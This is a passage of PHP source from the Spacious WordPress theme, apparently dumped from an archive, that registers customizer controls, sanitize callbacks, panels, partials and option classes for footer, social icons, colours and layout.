					'Spacious_Customizer_FrameWork_Sanitizes',
					'sanitize_email',
				),
			)
		);

		// URL control.
		Spacious_Customize_Base_Control::add_control(
			'url',
			array(
				'sanitize_callback' => array(
					'Spacious_Customizer_FrameWork_Sanitizes',
					'sanitize_url',
				),
			)
		);

		// Textarea control.
		Spacious_Customize_Base_Control::add_control(
			'textarea',
			array(
				'sanitize_callback' => array(
					'Spacious_Customizer_FrameWork_Sanitizes',
					'sanitize_html',
				),
			)
		);

		// Dropdown pages control.
		Spacious_Customize_Base_Control::add_control(
			'dropdown-pages',
			array(
				'sanitize_callback' => array(
					'Spacious_Customizer_FrameWork_Sanitizes',
					'sanitize_dropdown_pages',
				),
			)
		);

		// Color control.
		Spacious_Customize_Base_Control::add_control(
			'color',
			array(
				'callback'          => 'WP_Customize_Color_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_FrameWork_Sanitizes',
					'sanitize_hex_color',
				),
			)
		);

		// Image upload control.
		Spacious_Customize_Base_Control::add_control(
			'image',
			array(
				'callback'          => 'WP_Customize_Image_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_FrameWork_Sanitizes',
					'sanitize_image_upload',
				),
			)
		);

		/**
		 * Controls created via the theme.
		 */
		// Radio image control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-radio-image',
			array(
				'callback'          => 'Spacious_Radio_Image_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_FrameWork_Sanitizes',
					'sanitize_radio_select',
				),
			)
		);

		// Heading control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-heading',
			array(
				'callback'          => 'Spacious_Heading_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_FrameWork_Sanitizes',
					'sanitize_false_values',
				),
			)
		);

		// Navigate control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-navigate',
			array(
				'callback'          => 'Spacious_Navigate_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_FrameWork_Sanitizes',
					'sanitize_false_values',
				),
			)
		);

		// Editor control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-editor',
			array(
				'callback'          => 'Spacious_Editor_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_FrameWork_Sanitizes',
					'sanitize_html',
				),
			)
		);

		// Color control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-color',
			array(
				'callback'          => 'Spacious_Color_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_FrameWork_Sanitizes',
					'sanitize_alpha_color',
				),
			)
		);

		// Buttonset control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-buttonset',
			array(
				'callback'          => 'Spacious_Buttonset_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_FrameWork_Sanitizes',
					'sanitize_radio_select',
				),
			)
		);

		// Toggle control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-toggle',
			array(
				'callback'          => 'Spacious_Toggle_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_FrameWork_Sanitizes',
					'sanitize_checkbox',
				),
			)
		);

		// Divider control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-divider',
			array(
				'callback'          => 'Spacious_Divider_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_FrameWork_Sanitizes',
					'sanitize_false_values',
				),
			)
		);

		// Slider control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-slider',
			array(
				'callback'          => 'Spacious_Slider_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_FrameWork_Sanitizes',
					'sanitize_number',
				),
			)
		);

		// Custom control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-custom',
			array(
				'callback'          => 'Spacious_Custom_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_FrameWork_Sanitizes',
					'sanitize_false_values',
				),
			)
		);

		// Dropdown categories control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-dropdown-categories',
			array(
				'callback'          => 'Spacious_Dropdown_Categories_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_FrameWork_Sanitizes',
					'sanitize_dropdown_categories',
				),
			)
		);

		// Background control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-background',
			array(
				'callback'          => 'Spacious_Background_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_FrameWork_Sanitizes',
					'sanitize_background',
				),
			)
		);

		// Typography control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-typography',
			array(
				'callback'          => 'Spacious_Typography_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_FrameWork_Sanitizes',
					'sanitize_typography',
				),
			)
		);

		// Hidden control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-hidden',
			array(
				'callback'          => 'Spacious_Hidden_Control',
				'sanitize_callback' => '',
			)
		);

		// Sortable control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-sortable',
			array(
				'callback'          => 'Spacious_Sortable_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_FrameWork_Sanitizes',
					'sanitize_sortable',
				),
			)
		);

		// Group control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-group',
			array(
				'callback' => 'Spacious_Group_Control',
			)
		);

		// Title control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-title',
			array(
				'callback' => 'Spacious_Title_Control',
			)
		);

		// Dimensions control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-dimensions',
			array(
				'callback' => 'Spacious_Dimensions_Control',
			)
		);

		// Upgrade control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-upgrade',
			array(
				'callback' => 'Spacious_Upgrade_Control',
			)
		);

		// Fontawesome control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-fontawesome',
			array(
				'callback' => 'Spacious_Fontawesome_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_FrameWork_Sanitizes',
					'sanitize_radio_select',
				),
			)
		);
	}

	/**
	 * Include the required customize options.
	 *
	 * @param WP_Customize_Manager $wp_customize Theme Customizer object.
	 *
	 * @return array Customizer options for registering panels, sections as well as controls.
	 */
	public function get_customizer_configurations( $wp_customize ) {

		return apply_filters( 'spacious_customizer_options', array(), $wp_customize );

	}

	/**
	 * Return default values for the Customize Configurations.
	 *
	 * @return array
	 */
	public function get_spacious_customizer_default_configuration() {

		$default_configuration = array(
			'priority'             => null,
			'title'                => null,
			'label'                => null,
			'name'                 => null,
			'type'                 => null,
			'description'          => null,
			'capability'           => 'edit_theme_options',
			'datastore_type'       => 'theme_mod',
			'settings'             => null,
			'active_callback'      => null,
			'sanitize_callback'    => null,
			'sanitize_js_callback' => null,
			'theme_supports'       => null,
			'transport'            => null,
			'default'              => null,
			'selector'             => null,
			'spacious_fields'      => array(),
		);

		return apply_filters( 'spacious_customizer_default_configuration', $default_configuration );

	}

	/**
	 * Process and Register Customizer Panels, Sections, Settings and Controls.
	 *
	 * @param WP_Customize_Manager $wp_customize Reference to WP_Customize_Manager.
	 *
	 * @return void
	 */
	public function register_customize_settings( $wp_customize ) {

		$configurations = $this->get_customizer_configurations( $wp_customize );

		foreach ( $configurations as $key => $config ) {
			$config = wp_parse_args(
				$config,
				$this->get_spacious_customizer_default_configuration()
			);

			switch ( $config['type'] ) {

				case 'panel':
					// Remove `panel` type from configuration for registering it in different way.
					unset( $config['type'] );

					$this->register_panel( $config, $wp_customize );

					break;

				case 'section':
					// Remove `section` type from configuration for registering it in different way.
					unset( $config['type'] );

					$this->register_section( $config, $wp_customize );

					break;

				case 'sub-control':
					// Remove `sub-control` type from configuration for registering it in different way.
					unset( $config['type'] );

					$this->register_sub_control_setting( $config, $wp_customize );

					break;

				case 'control':
					// Remove `control` type from configuration for registering it in different way.
					unset( $config['type'] );

					$this->register_setting_control( $config, $wp_customize );

					break;
			}
		}

	}

	/**
	 * Register Customizer Panel.
	 *
	 * @param array                $config       Customize options configuration settings.
	 * @param WP_Customize_Manager $wp_customize Instance of WP_Customize_Manager.
	 *
	 * @return void
	 */
	public function register_panel( $config, $wp_customize ) {

		$wp_customize->add_panel(
			new Spacious_WP_Customize_Panel(
				$wp_customize,
				$config['name'],
				$config
			)
		);

	}

	/**
	 * Register Customizer Section.
	 *
	 * @param array                $config       Customize options configuration settings.
	 * @param WP_Customize_Manager $wp_customize Instance of WP_Customize_Manager.
	 *
	 * @return void
	 */
	public function register_section( $config, $wp_customize ) {

		$section_callback = isset( $config['section_callback'] ) ? $config['section_callback'] : 'Spacious_WP_Customize_Section';

		$wp_customize->add_section(
			new $section_callback(
				$wp_customize,
				$config['name'],
				$config
			)
		);

	}

	/**
	 * Register Customizer Sub Control.
	 *
	 * @param array                $config       Customize options configuration settings.
	 * @param WP_Customize_Manager $wp_customize Instance of WP_Customize_Manager.
	 *
	 * @return void
	 */
	public function register_sub_control_setting( $config, $wp_customize ) {

		$sub_control_name = $config['name'];

		if ( isset( $wp_customize->get_control( $sub_control_name )->id ) ) {
			return;
		}

		$parent = $config['parent'];
		$tab    = ( isset( $config['tab'] ) ) ? $config['tab'] : '';

		if ( empty( self::$group_configs[ $parent ] ) ) {
			self::$group_configs[ $parent ] = array();
		}

		if ( array_key_exists( 'tab', $config ) ) {
			self::$group_configs[ $parent ]['tabs'][ $tab ][] = $config;
		} else {
			self::$group_configs[ $parent ][] = $config;
		}

		// For adding settings.
		$sanitize_callback = isset( $config['sanitize_callback'] ) ? $config['sanitize_callback'] : Spacious_Customize_Base_Control::get_sanitize_callback( $config['control'] );
		$transport         = isset( $config['transport'] ) ? $config['transport'] : 'refresh';
		$customize_config  = array(
			'name'              => $sub_control_name,
			'datastore_type'    => apply_filters( 'spacious_customize_datastore_type', 'theme_mod' ),
			'control'           => 'spacious-hidden',
			'section'           => $config['section'],
			'default'           => $config['default'],
			'transport'         => $transport,
			'sanitize_callback' => $sanitize_callback,
		);

		$wp_customize->add_setting(
			$customize_config['name'],
			array(
				'default'           => $customize_config['default'],
				'type'              => $customize_config['datastore_type'],
				'transport'         => $customize_config['transport'],
				'sanitize_callback' => $customize_config['sanitize_callback'],
			)
		);

		// For adding controls.
		$control_type = Spacious_Customize_Base_Control::get_control_instance( $customize_config['control'] );

		if ( false !== $control_type ) {
			$wp_customize->add_control(
				new $control_type(
					$wp_customize,
					$customize_config['name'],
					$customize_config
				)
			);
		} else {
			$wp_customize->add_control(
				$customize_config['name'],
				$customize_config
			);
		}

	}

	/**
	 * Register Customizer Control.
	 *
	 * @param array                $config       Customize options configuration settings.
	 * @param WP_Customize_Manager $wp_customize Instance of WP_Customize_Manager.
	 *
	 * @return void
	 */
	public function register_setting_control( $config, $wp_customize ) {

		// For adding settings.
		$sanitize_callback = isset( $config['sanitize_callback'] ) ? $config['sanitize_callback'] : Spacious_Customize_Base_Control::get_sanitize_callback( $config['control'] );
		$transport         = isset( $config['transport'] ) ? $config['transport'] : 'refresh';

		if ( 'spacious-group' === $config['control'] ) {
			$sanitize_callback = false;
		}

		$wp_customize->add_setting(
			$config['name'],
			array(
				'default'           => $config['default'],
				'type'              => $config['datastore_type'],
				'transport'         => $transport,
				'sanitize_callback' => $sanitize_callback,
			)
		);

		// For adding controls.
		$control_type   = Spacious_Customize_Base_Control::get_control_instance( $config['control'] );
		$config['type'] = $config['control'];

		if ( false !== $control_type ) {
			$wp_customize->add_control(
				new $control_type(
					$wp_customize,
					$config['name'],
					$config
				)
			);
		} else {
			$wp_customize->add_control(
				$config['name'],
				$config
			);
		}

		// For adding selective refresh.
		$selective_refresh = isset( $config['partial'] ) ? true : false;
		$render_callback   = isset( $config['partial']['render_callback'] ) ? $config['partial']['render_callback'] : '';

		if ( $selective_refresh ) {

			if ( isset( $wp_customize->selective_refresh ) ) {
				$wp_customize->selective_refresh->add_partial(
					$config['name'],
					array(
						'selector'        => $config['partial']['selector'],
						'render_callback' => $render_callback,
					)
				);
			}
		}

		// For dependency array.
		if ( isset( $config['dependency'] ) ) {
			$this->update_dependency_array( $config['name'], $config['dependency'] );
		}

	}

	/**
	 * Update dependency in the dependency array for controls and sections.
	 *
	 * @param string $key        Name of the Setting/Control for which the dependency is added.
	 * @param array  $dependency Dependency of the $name Setting/Control.
	 *
	 * @return void
	 */
	private function update_dependency_array( $key, $dependency ) {
		self::$dependency_array[ $key ] = $dependency;
	}

	/**
	 * Get dependency array.
	 *
	 * @return array Dependencies discovered when registering controls and settings.
	 */
	private function get_dependency_array() {
		return self::$dependency_array;
	}

	/**
	 * Include the required customizer sanitization, callbacks and partials file.
	 */
	public function customize_sanitize_callback_include() {

		require dirname(__FILE__) . '/class-spacious-customizer-sanitizes.php';
		require dirname(__FILE__) . '/class-spacious-customizer-callbacks.php';

	}

	/**
	 * Enqueue custom scripts for customize panels, sections and controls.
	 */
	public function enqueue_customize_controls() {

		$suffix = ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) ? '' : '.min';

		/**
		 * Enqueue required Customize Controls CSS files.
		 */
		// Extend customizer CSS file.
		wp_enqueue_style(
			'spacious-extend-customizer',
			$this->get_assets_url() . '/assets/css/extend-customizer' . $suffix . '.css',
			array(),
			SPACIOUS_THEME_VERSION
		);
		wp_style_add_data( 'spacious-extend-customizer', 'rtl', 'replace' );

		/**
		 * Enqueue required Customize Controls JS files.
		 */
		// Extend customizer JS file.
		wp_enqueue_script(
			'spacious-extend-customizer',
			$this->get_assets_url() . '/assets/js/extend-customizer' . $suffix . '.js',
			array(
				'jquery',
			),
			SPACIOUS_THEME_VERSION,
			true
		);

		// Customizer controls toggle JS file.
		wp_enqueue_script(
			'spacious-customizer-controls-toggle',
			$this->get_assets_url() . '/assets/js/customizer-controls-toggle' . $suffix . '.js',
			array(),
			SPACIOUS_THEME_VERSION,
			true
		);

		// Customizer controls JS file.
		wp_enqueue_script(
			'spacious-customizer-controls',
			$this->get_assets_url() . '/assets/js/customizer-controls' . $suffix . '.js',
			array(
				'spacious-customizer-controls-toggle',
			),
			SPACIOUS_THEME_VERSION,
			true
		);

		// Customizer dependency control JS file.
		wp_enqueue_script(
			'spacious-customizer-dependency',
			$this->get_assets_url() . '/assets/js/customizer-dependency' . $suffix . '.js',
			array(
				'spacious-customizer-controls-toggle',
				'spacious-customizer-controls',
				'spacious-extend-customizer',
			),
			SPACIOUS_THEME_VERSION,
			true
		);

		// Localize for customizer controls toggle.
		wp_localize_script(
			'spacious-customizer-controls-toggle',
			'SpaciousCustomizerControlsToggle',
			$this->get_dependency_array()
		);

	}

	/**
	 * Binds JS handlers to make Theme Customizer preview reload changes asynchronously.
	 *
	 * @since Spacious 3.0.0
	 */
	public function customize_preview_js() {

		$suffix = ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) ? '' : '.min';

		wp_enqueue_script(
			'spacious-customizer',
			$this->get_assets_url() . '/assets/js/customize-preview' . $suffix . '.js',
			array(
				'customize-preview',
			),
			SPACIOUS_THEME_VERSION,
			true
		);

	}

	public function get_assets_url() {
		// Get correct URL and path to wp-content.
		$content_url = untrailingslashit( dirname( dirname( get_stylesheet_directory_uri() ) ) );
		$content_dir = wp_normalize_path( untrailingslashit( WP_CONTENT_DIR ) );

		$url = str_replace( $content_dir, $content_url, wp_normalize_path( __DIR__ ) );
		$url = set_url_scheme( $url );

		return $url;
	}

}

return new Spacious_Customizer_FrameWork();
override-defaults.php000066600000006462152367043330010723 0ustar00<?php
/**
 * Override default customizer panels, sections, settings or controls.
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 1.9.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Override Sections.
 */
// Header media section.
$wp_customize->get_section( 'header_image' )->panel    = 'spacious_header_panel';
$wp_customize->get_section( 'header_image' )->priority = 15;

/**
 * Override controls.
 */
// Outside container > background control.
$wp_customize->get_control( 'background_color' )->section  = 'spacious_global_background_section';
$wp_customize->get_control( 'background_color' )->type     = 'spacious-color';
$wp_customize->get_control( 'background_color' )->priority = 20;

$wp_customize->get_control( 'background_image' )->section  = 'spacious_global_background_section';
$wp_customize->get_control( 'background_image' )->priority = 25;

$wp_customize->get_control( 'background_preset' )->section  = 'spacious_global_background_section';
$wp_customize->get_control( 'background_preset' )->priority = 30;

$wp_customize->get_control( 'background_position' )->section  = 'spacious_global_background_section';
$wp_customize->get_control( 'background_position' )->priority = 35;

$wp_customize->get_control( 'background_size' )->section  = 'spacious_global_background_section';
$wp_customize->get_control( 'background_size' )->priority = 40;

$wp_customize->get_control( 'background_repeat' )->section  = 'spacious_global_background_section';
$wp_customize->get_control( 'background_repeat' )->priority = 45;

$wp_customize->get_control( 'background_attachment' )->section  = 'spacious_global_background_section';
$wp_customize->get_control( 'background_attachment' )->priority = 50;

// Site Identity.
$wp_customize->get_control( 'custom_logo' )->priority     = 6;
$wp_customize->get_control( 'site_icon' )->priority       = 9;
$wp_customize->get_control( 'blogname' )->priority        = 10;
$wp_customize->get_control( 'blogdescription' )->priority = 14;

$wp_customize->get_setting( 'header_textcolor' )->transport = 'refresh';
$wp_customize->get_control( 'header_textcolor' )->section   = 'title_tagline';
$wp_customize->get_control( 'header_textcolor' )->type      = 'spacious-color';
$wp_customize->get_control( 'header_textcolor' )->priority  = 20;

// Header media options.
$wp_customize->get_section( 'header_image' )->panel    = 'spacious_header_options';
$wp_customize->get_section( 'header_image' )->priority = 2;

// Override Settings.
$wp_customize->get_setting( 'blogname' )->transport        = 'postMessage';
$wp_customize->get_setting( 'blogdescription' )->transport = 'postMessage';

if ( isset( $wp_customize->selective_refresh ) ) {
	$wp_customize->selective_refresh->add_partial(
		'blogname',
		array(
			'selector'        => '#site-title a',
			'render_callback' => array(
				'Spacious_Customizer_Partials',
				'render_customize_partial_blogname',
			),
		)
	);

	$wp_customize->selective_refresh->add_partial(
		'blogdescription',
		array(
			'selector'        => '#site-description',
			'render_callback' => array(
				'Spacious_Customizer_Partials',
				'render_customize_partial_blogdescription',
			),
		)
	);
}

/*
 * Modify WooCommerce default section priorities
*/
if ( class_exists( 'WooCommerce' ) ) {
	$wp_customize->get_panel( 'woocommerce' )->priority = 70;
}
class-spacious-customizer-partials.php000066600000005705152367043330014246 0ustar00<?php
/**
 * Spacious customizer class for theme customize partials.
 *
 * Class Spacious_Customizer_Partials
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 2.4.5
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Spacious customizer class for theme customize partials.
 *
 * Class Spacious_Customizer_Partials
 */
class Spacious_Customizer_Partials {

	/**
	 * Render the Read Next text for selective refresh partial.
	 *
	 * @return void
	 */
	public static function read_more_text_render() { ?>
		<a class="read-more" href="<?php the_permalink(); ?>"><?php echo esc_html( get_theme_mod( 'spacious_read_more_text', __( 'Read more', 'spacious' ) ) ); ?></a>
	<?php }

	public static function spacious_header_info_text() {
		if ( get_theme_mod( 'spacious_header_info_text', '' ) == '' ) {
			return;
		}

		$spacious_header_info_text = '<div class="small-info-text"><p>' . get_theme_mod( 'spacious_header_info_text', '' ) . '</p></div>';

		echo do_shortcode( $spacious_header_info_text );
	}

	public static function spacious_breadcrumb() {

		// NavXT
		if ( function_exists( 'bcn_display' ) ) {

			echo '<div class="breadcrumb" xmlns:v="http://rdf.data-vocabulary.org/#">';
			echo '<span class="breadcrumb-title">' . wp_kses_post( get_theme_mod( 'spacious_custom_breadcrumb_text', __( 'You are here: ', 'spacious' ) ) ) . '</span>';
			bcn_display();
			echo '</div> <!-- .breadcrumb : NavXT -->';

		} elseif ( function_exists( 'yoast_breadcrumb' ) ) { // SEO by Yoast

			yoast_breadcrumb(
				'<div class="breadcrumb">' . '<span class="breadcrumb-title">' . wp_kses_post( get_theme_mod( 'spacious_custom_breadcrumb_text', __( 'You are here: ', 'spacious' ) ) ) . '</span>',
				'</div> <!-- .breadcrumb : Yoast -->'
			);

		}
	}

	public static function spacious_taxonomy_description() {
		?>

		<div class="taxonomy-description">
			<?php
			if ( get_theme_mod( 'spacious_term_description', 0 ) == 1 ) :
				// Show term description for category.
				$term_description = term_description();

				if ( ! empty( $term_description ) ) :
					printf( '%s', $term_description );
				endif;

			endif;
			?>
		</div>

		<?php
	}

	public static function spacious_footer_copyright() {

		$default_footer_value = get_theme_mod( 'spacious_footer_editor', __( 'Copyright &copy; ', 'spacious' ) . '[the-year] [site-link] ' . __( 'Theme by: ', 'spacious' ) . '[tg-link] ' . __( 'Powered by: ', 'spacious' ) . '[wp-link]' );

		$spacious_footer_copyright = '<div class="copyright">' . $default_footer_value . '</div>';

		echo do_shortcode( $spacious_footer_copyright );
	}

	/**
	 * Render the site title for the selective refresh partial.
	 *
	 * @return void
	 */
	public static function render_customize_partial_blogname() {
		bloginfo( 'name' );
	}

	/**
	 * Render the site tagline for the selective refresh partial.
	 *
	 * @return void
	 */
	public static function render_customize_partial_blogdescription() {
		bloginfo( 'description' );
	}

}
class-spacious-upsell-section.php000066600000001705152367043330013167 0ustar00<?php

/**
 * Class to include upsell link for theme.
 *
 * Class SPACIOUS_Upsell_Section
 */
class SPACIOUS_Upsell_Section extends WP_Customize_Section {
	public $type = 'spacious-upsell-section';
	public $url = '';
	public $id = '';

	/**
	 * Gather the parameters passed to client JavaScript via JSON.
	 *
	 * @return array The array to be exported to the client as JSON.
	 */
	public function json() {
		$json        = parent::json();
		$json['url'] = esc_url( $this->url );
		$json['id']  = $this->id;

		return $json;
	}

	/**
	 * An Underscore (JS) template for rendering this section.
	 */
	protected function render_template() {
		?>
		<li id="accordion-section-{{ data.id }}"
		    class="spacious-upsell-accordion-section control-section-{{ data.type }} cannot-expand accordion-section">
			<h3 class="accordion-section-title"><a href="{{{ data.url }}}" target="_blank">{{ data.title }}</a></h3>
		</li>
		<?php
	}
}
options/footer/class-spacious-customize-footer-widgets-area-options.php000066600000004271152367043330022574 0ustar00<?php

/**
 * Class to include Color Footer customize options.
 *
 * Class Spacious_Customize_Color_Footer_Options
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 1.9.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to include Color Footer customize options.
 *
 * Class Spacious_Customize_Color_Footer_Options
 */
class Spacious_Customize_Footer_widgets_Area_Options extends Spacious_Customize_Base_Option {

	/**
	 * Include customize options.
	 *
	 * @param array $options Customize options provided via the theme.
	 * @param \WP_Customize_Manager $wp_customize Theme Customizer object.
	 *
	 * @return mixed|void Customizer options for registering panels, sections as well as controls.
	 */
	public function register_options( $options, $wp_customize ) {

		$configs = array(

			array(
				'name'     => 'footer_widget_column_heading',
				'type'     => 'control',
				'control'  => 'spacious-title',
				'label'    => esc_html__( 'Footer Widgets Column', 'spacious' ),
				'section'  => 'spacious_footer_widgets_area_section',
				'priority' => 10,
			),

			array(
				'name'      => 'spacious_footer_widget_column_select_type',
				'default'   => 'four',
				'type'      => 'control',
				'control'   => 'spacious-radio-image',
				'label'     => esc_html__( 'Choose the number of column for the footer widgetized areas.', 'spacious' ),
				'section'   => 'spacious_footer_widgets_area_section',
				'choices'   => array(
					'one'   => array(
						'label' => '',
						'url'   => SPACIOUS_ADMIN_IMAGES_URL . '/sidebar-layout-full-column.png',
					),
					'two'   => array(
						'label' => '',
						'url'   => SPACIOUS_ADMIN_IMAGES_URL . '/sidebar-layout-two-column.png',
					),
					'three' => array(
						'label' => '',
						'url'   => SPACIOUS_ADMIN_IMAGES_URL . '/sidebar-layout-third-column.png',
					),
					'four'  => array(
						'label' => '',
						'url'   => SPACIOUS_ADMIN_IMAGES_URL . '/sidebar-layout-fourth-column.png',
					),
				),
				'image_col' => 3,
				'priority'  => 15,
			),

		);

		$options = array_merge( $options, $configs );

		return $options;
	}

}

return new Spacious_Customize_Footer_widgets_Area_Options();

options/social/class-spacious-customize-social-icons-options.php000066600000007624152367043330021270 0ustar00<?php
/**
 * Class to include Social customize options.
 *
 * Class Spacious_Customize_Social_Icons_Options
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 1.9.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to include Social customize option.
 *
 * Class Spacious_Customize_Social_Icons_Options
 */
class Spacious_Customize_Social_Icons_Options extends Spacious_Customize_Base_Option {

	/**
	 * Include customize options.
	 *
	 * @param array $options Customize options provided via the theme.
	 * @param \WP_Customize_Manager $wp_customize Theme Customizer object.
	 *
	 * @return mixed|void Customizer options for registering panels, sections as well as controls.
	 */
	public function register_options( $options, $wp_customize ) {

		// Customize transport postMessage variable to set `postMessage` or `refresh` as required.
		$customizer_selective_refresh = isset( $wp_customize->selective_refresh ) ? 'postMessage' : 'refresh';

		$configs = array(

			/**
			 * Social Icons.
			 */
			array(
				'name'    => 'social_link_activation_heading',
				'type'    => 'control',
				'control' => 'spacious-title',
				'label'   => esc_html__( 'Activate social links area', 'spacious' ),
				'section' => 'spacious_social_links_options',
			),

			// Social links enable/disable option.
			array(
				'name'      => 'spacious_activate_social_links',
				'default'   => 0,
				'type'      => 'control',
				'control'   => 'checkbox',
				'label'     => esc_html__( 'Check to activate social links area. You also need to activate the header top bar section in Header options to show this social links area', 'spacious' ),
				'section'   => 'spacious_social_links_options',
				'transport' => $customizer_selective_refresh,
				'partial'   => array(
					'selector' => '.social-links',
				),
			),

			array(
				'name'       => 'social_icon_heading',
				'type'       => 'control',
				'control'    => 'spacious-title',
				'label'      => esc_html__( 'Social Icon', 'spacious' ),
				'section'    => 'spacious_social_links_options',
				'dependency' => array(
					'spacious_activate_social_links',
					'!=',
					0,
				),
			),

		);

		$options = array_merge( $options, $configs );

		// Social links lists.
		$spacious_social_links = array(
			'spacious_social_facebook'  => esc_html__( 'Facebook', 'spacious' ),
			'spacious_social_twitter'   => esc_html__( 'Twitter', 'spacious' ),
			'spacious_social_instagram' => esc_html__( 'Instagram', 'spacious' ),
			'spacious_social_linkedin'  => esc_html__( 'LinkedIn', 'spacious' )
		);

		$i = 1;

		// Available social links via theme.
		foreach ( $spacious_social_links as $key => $value ) {

			// Social links url option.
			$configs[] = array(
				'name'       => $key,
				'default'    => '',
				'type'       => 'control',
				'control'    => 'url',
				'label'      => sprintf( 'Add link for %1$s', $value ),
				'section'    => 'spacious_social_links_options',
				'dependency' => array(
					'spacious_activate_social_links',
					'!=',
					0,
				),
			);

			// Social links open in new tab enable/disable option.
			$configs[] = array(
				'name'       => $key . 'new_tab',
				'default'    => 0,
				'type'       => 'control',
				'control'    => 'checkbox',
				'label'      => esc_html__( 'Check to show in new tab', 'spacious' ),
				'section'    => 'spacious_social_links_options',
				'dependency' => array(
					'spacious_activate_social_links',
					'!=',
					0,
				),
			);

			// Social links separator.
			$configs[] = array(
				'name'       => $key . '_additional',
				'type'       => 'control',
				'control'    => 'spacious-divider',
				'section'    => 'spacious_social_links_options',
				'dependency' => array(
					'spacious_activate_social_links',
					'!=',
					0,
				),
			);

			$i++;

		}

		$options = array_merge( $options, $configs );

		return $options;
	}

}

return new Spacious_Customize_Social_Icons_Options();
options/global/class-spacious-customize-colors-options.php000066600000003516152367043330020170 0ustar00<?php
/**
 * Class to include Colors customize options.
 *
 * Class Spacious_Customize_Colors_Options
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 1.9.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to include Colors customize options.
 *
 * Class Spacious_Customize_Colors_Options
 */
class Spacious_Customize_Colors_Options extends Spacious_Customize_Base_Option {

	/**
	 * Include customize options.
	 *
	 * @param array $options Customize options provided via the theme.
	 * @param \WP_Customize_Manager $wp_customize Theme Customizer object.
	 *
	 * @return mixed|void Customizer options for registering panels, sections as well as controls.
	 */
	public function register_options( $options, $wp_customize ) {

		$configs = array(

			/**
			 * Primary Colors.
			 */
			// Primary color option.
			array(
				'name'     => 'spacious_primary_color',
				'default'  => '#0FBE7C',
				'type'     => 'control',
				'control'  => 'spacious-color',
				'label'    => esc_html__( 'Primary Color', 'spacious' ),
				'section'  => 'spacious_primary_colors_section',
				'priority' => 5,
			),

			// Skin color option.
			array(
				'name'     => 'spacious_color_skin',
				'default'  => 'light',
				'type'     => 'control',
				'control'  => 'spacious-radio-image',
				'label'    => esc_html__( 'Color Skin', 'spacious' ),
				'section'  => 'spacious_skin_color_section',
				'choices'  => array(
					'light' => array(
						'label' => '',
						'url'   => SPACIOUS_ADMIN_IMAGES_URL . '/light-color.jpg',
					),
					'dark'  => array(
						'label' => '',
						'url'   => SPACIOUS_ADMIN_IMAGES_URL . '/dark-color.jpg',
					),
				),
				'priority' => 0,
			),
		);

		$options = array_merge( $options, $configs );

		return $options;
	}

}

return new Spacious_Customize_Colors_Options();
options/global/class-spacious-customize-layout-options.php000066600000012245152367043330020203 0ustar00<?php
/**
 * Class to include Layout customize options.
 *
 * Class Spacious_Customize_Layout_Options
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 1.9.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to include Layout customize options.
 *
 * Class Spacious_Customize_Layout_Options
 */
class Spacious_Customize_Layout_Options extends Spacious_Customize_Base_Option {

	/**
	 * Include customize options.
	 *
	 * @param array $options Customize options provided via the theme.
	 * @param \WP_Customize_Manager $wp_customize Theme Customizer object.
	 *
	 * @return mixed|void Customizer options for registering panels, sections as well as controls.
	 */
	public function register_options( $options, $wp_customize ) {

		$configs = array(

			// Site layout option.
			array(
				'name'     => 'spacious_site_layout',
				'default'  => 'box_1218px',
				'type'     => 'control',
				'control'  => 'radio',
				'label'    => esc_html__( 'Choose your site layout. The change is reflected in whole site.', 'spacious' ),
				'section'  => 'spacious_site_layout_section',
				'choices'  => array(
